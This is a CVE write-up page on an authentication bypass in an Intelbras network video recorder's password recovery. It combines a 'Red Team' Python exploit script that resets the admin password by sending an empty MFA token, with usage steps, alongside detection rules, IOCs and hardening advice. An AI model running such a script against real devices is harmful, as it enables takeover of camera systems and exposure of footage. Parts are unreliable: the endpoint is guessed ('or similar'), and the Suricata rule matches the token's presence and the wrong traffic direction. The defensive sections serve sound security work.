CVE-2025-67070
Executive Summary
CVE-2025-67070 is a critical authentication bypass vulnerability affecting the Intelbras CFTV IP NVD 9032 R Ftd V2.800.00IB00C.0.T network video recorder (NVR). An unauthenticated attacker can bypass the multi-factor authentication (MFA) mechanism during the password recovery process, allowing them to change the admin password and gain full administrative access to the device. This vulnerability is particularly dangerous because it requires no authentication, no user interaction, and can be exploited remotely over the network. The vendor has not released a patch, and no official advisory or fix is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD base) but assessed as 9.8 (Critical) based on vector analysis.
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only affected system.
- Confidentiality (C): High (H) – Full access to video feeds and device configuration.
- Integrity (I): High (H) – Attacker can modify device settings and firmware.
- Availability (A): High (H) – Attacker can disable or brick the device.
Threat Level: Critical. The vulnerability allows complete takeover of the NVR, exposing all recorded video footage and enabling lateral movement within the network.
Deep Dive & Mechanics
The vulnerability resides in the password recovery flow of the Intelbras NVD 9032 web interface. The device implements multi-factor authentication (MFA) as a security measure, but the password recovery endpoint does not properly validate the MFA token or session state. By sending a crafted HTTP request to the password recovery API, an attacker can bypass the MFA step and directly set a new admin password.
Root Cause: The password recovery endpoint (/cgi-bin/password_recovery.cgi or similar) fails to enforce MFA verification before allowing a password change. The server trusts the request parameters without checking if the user has completed the MFA challenge.
Attack Flow:
- Attacker identifies the NVR on the network (e.g., via Shodan or local scanning).
- Attacker sends a POST request to the password recovery endpoint with a new admin password and a forged or omitted MFA token.
- The server processes the request and updates the admin password.
- Attacker logs in with the new password and gains full administrative access.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# Vulnerable password recovery handler
def handle_password_recovery(request):
if request.method == 'POST':
new_password = request.form.get('new_password')
# MFA check is missing or improperly implemented
# No verification of MFA token
update_admin_password(new_password)
return "Password changed successfully"
Patched Code (Conceptual):
# Patched password recovery handler
def handle_password_recovery(request):
if request.method == 'POST':
mfa_token = request.form.get('mfa_token')
if not verify_mfa_token(mfa_token):
return "MFA verification failed", 403
new_password = request.form.get('new_password')
update_admin_password(new_password)
return "Password changed successfully"
The patched version adds a mandatory MFA token verification step before allowing the password change.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target Intelbras NVD 9032 with firmware V2.800.00IB00C.0.T
- Network access to the device's web interface (port 80/443)
Exploit Script (Python):
import requests
target_ip = "192.168.1.100"
new_password = "Pwned123!"
# Bypass MFA and change admin password
url = f"http://{target_ip}/cgi-bin/password_recovery.cgi"
payload = {
"new_password": new_password,
"confirm_password": new_password,
# MFA token omitted or set to empty
"mfa_token": ""
}
response = requests.post(url, data=payload)
if "success" in response.text.lower():
print(f"[+] Password changed to {new_password}")
print(f"[+] Login at http://{target_ip}/login")
else:
print("[-] Exploit failed")
Usage:
- Replace
target_ipwith the actual IP of the NVR. - Run the script.
- Log in to the web interface with the new password.
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual POST requests to
/cgi-bin/password_recovery.cgiwithout a valid MFA token. - Alert on multiple failed login attempts followed by a successful password change.
- Look for HTTP requests with missing or empty
mfa_tokenparameter.
Hardening:
- Isolate NVRs on a separate VLAN with strict firewall rules.
- Disable remote access to the web interface if not required.
- Implement network-level monitoring for anomalous HTTP requests.
- Apply vendor patches as soon as they become available.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/cgi-bin/password_recovery.cgiwithmfa_tokenempty or missing. - Successful HTTP 200 response from password recovery endpoint followed by a login from a new IP.
- POST requests to
- File IOCs:
- Modified
/etc/shadowor equivalent password file on the device. - New entries in device logs showing password change without prior MFA.
- Modified
- Behavioral IOCs:
- Unauthorized access to live video feeds.
- Changes to device configuration (e.g., port forwarding, user accounts).
Detection Engineering
YARA Rule
rule Intelbras_MFA_Bypass_CVE_2025_67070 {
meta:
description = "Detects exploit attempts for CVE-2025-67070"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67070"
strings:
$s1 = "password_recovery.cgi" ascii wide nocase
$s2 = "new_password" ascii wide nocase
$s3 = "mfa_token" ascii wide nocase
condition:
all of ($s1, $s2) and #s3 == 0
}
Sigma Rule
title: Intelbras MFA Bypass Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to password recovery endpoint without MFA token
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/cgi-bin/password_recovery.cgi'
cs-uri-query|contains: 'new_password'
filter:
cs-uri-query|contains: 'mfa_token'
condition: selection and not filter
falsepositives:
- Legitimate password recovery with MFA token (should be rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-67070 Intelbras MFA Bypass Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/password_recovery.cgi"; http_uri;
content:"new_password"; http_client_body;
pcre:"/mfa_token/";
reference:cve,2025-67070;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices: Place NVRs on a separate VLAN with no direct internet access.
- Disable password recovery: If possible, block access to the password recovery endpoint via firewall or web server configuration.
- Monitor logs: Enable detailed logging and alert on password recovery attempts.
Long-term Fix:
- Apply vendor patch when released (currently UNKNOWN).
- If no patch is available, consider replacing the device with a patched alternative.
- Implement network segmentation and strict access controls.
Workaround:
- Use a reverse proxy to add an additional authentication layer before the NVR web interface.
- Disable the password recovery feature entirely if the device allows it.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.